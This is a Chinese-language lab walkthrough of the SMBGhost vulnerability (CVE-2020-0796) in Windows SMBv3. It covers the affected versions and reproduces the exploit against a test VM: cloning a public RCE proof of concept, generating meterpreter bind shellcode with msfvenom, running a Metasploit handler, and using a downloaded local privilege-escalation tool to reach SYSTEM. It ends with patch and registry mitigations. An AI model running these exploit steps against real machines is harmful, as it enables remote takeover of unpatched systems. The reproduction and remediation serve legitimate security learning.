漏洞描述
2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。
该漏洞的后果十分接近永恒之蓝系列,都利用Windows SMB漏洞远程攻击获取系统最高权限,WannaCry勒索蠕虫就是利用永恒之蓝系列漏洞攻击工具制造的大灾难。除了直接攻击SMB服务端造成RCE外,该漏洞得亮点在于对SMB客户端的攻击,攻击者可以构造特定的网页,压缩包,共享目录,OFFICE文档等多种方式触发漏洞进行攻击。
影响范围
漏洞不影响win7,漏洞影响Windows 10 1903之后的各个32位、64位版Windows,包括家用版、专业版、企业版、教育版。
Windows 10 1903 x86 32位系统
Windows 10 1903 x64 64位系统
Windows 10 1903 ARM64系统
Windows Server 1903
Windows 10 1909 x86 32位系统
Windows 10 1909 x64 64位系统
Windows 10 1909 ARM64系统
Windows Server 1909
复现漏洞
环境要求
win10虚拟机(1903或者1909版本) IP:192.168.1.135
关闭防火墙
windows 1093版本镜像
ed2k://|file|cn_windows_10_business_editions_version_1903_updated_sept_2019_x64_dvd_2f5281e1.iso|5231140864|B1D5C4C401036B0B1EBA64476A95F338|/
Kali Linux(确保可以和win10虚拟机ping通)IP=192.168.1.129
检测目标是否存在漏洞
下载检测工具https://www.endvv.com/wj/35/cve-2020-0796检测.zip
发现存在漏洞
下载利用poc
git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
cd SMBGhost_RCE_PoC
然后把exploit.py文件里面的这些删除掉
4:生成python的反弹shellcode
使用msfvenom生成正向连接的python的shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt
打开shellcode.txt
将shellcode里的buf全部改成USER_PAYLOAD再将修改好的shellcode粘贴到exploit.py上我们刚才删除的位置
启动msfconsole设置监听端口
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.1.135
set lport 3333
run
开启监听端口后,再去运行exploit.py
python3 exploit.py -ip 192.168.1.135
成功反弹shell,查看当前用户权限
本地提权
下载工具www.endvv.com/wj/35/cve-2020-0796-local.zip
执行完提权文件cve-2020-0796-local.exe后可以看到成功提权到system权限
修复漏洞
本地漏洞检查
检查是否使用1903或1909操作系统版本:
右键点击左下角Windows图标,选择“设置”;
点击“系统”,选择左侧的 “关于”选项卡;
查看“Windows规格”中的“版本号”,如果版本号显示为1903或1909,则证明受此漏洞影响,建议立即安装补丁
通过命令进行补丁检查
运行命令
systeminfo | findstr KB4551762
命令执行结束后如果没有查询到KB4551762补丁,则该系统存在安全风险。
安装补丁修复漏洞
在正常情况下,windows10会自动更新系统安全打上补丁,但是可能存在失败的情况。如使用如上检测方式检测判断存在漏洞,可以手动下载补丁进行安装:补丁链接链接https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762
若暂时无法及时安装补丁修复漏洞,可采取以下缓解措施
方法一:使用以下PowerShell命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。
Set-ItemProperty -Path "HKLM:SYSTEMCurrentControlSetServicesLanmanServerParameters" DisableCompression -Type DWORD -Value 1 -Force
用户可通过以下PowerShell命令撤销禁用压缩功能
Set-ItemProperty -Path "HKLM:SYSTEMCurrentControlSetServicesLanmanServerParameters" DisableCompression -Type DWORD -Value 0 -Force
方法二:右键点击桌面左下角的Windows图标,在弹出菜单中选择“运行”菜单项,在弹出的运行框中输入regedit,打开注册表编辑器。在“HKLMSYSTEMCurrentControlSetServicesLanmanServerParameters”目录中添加一个DWORD类型的注册表项DisableCompression ,数值为1。如需撤销禁用SMBv3压缩功能,将该注册表项数值修改为0或删除注册表项即可。注:利用以上方法进行更改后,无需重启即可生效;以上缓解措施仅可用来防护针对SMB服务器(SMB SERVER)的攻击,无法对SMB客户端(SMB Client)进行防护。